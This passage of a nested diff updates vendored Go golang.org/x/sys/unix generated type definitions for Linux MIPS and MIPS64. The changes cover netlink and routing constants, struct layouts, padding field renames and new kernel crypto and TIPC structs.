-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -610,16 +194,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]int8
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [8]int8
- }
-
- type Ustat_t struct {
-@@ -637,37 +212,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -680,20 +232,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -705,13 +249,13 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -735,55 +279,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]int8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Frsize int32
-+ _ [4]byte
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Flags int32
-+ Spare [5]int32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x18
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x20001269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint32
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]int8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go
-index 3e5fc625..2e7f3b8c 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]uint32
-@@ -117,139 +100,29 @@ type Stat_t struct {
- Blocks int64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Frsize int64
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int64
-- Flags int64
-- Spare [5]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,51 +133,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -313,277 +155,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -609,70 +190,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
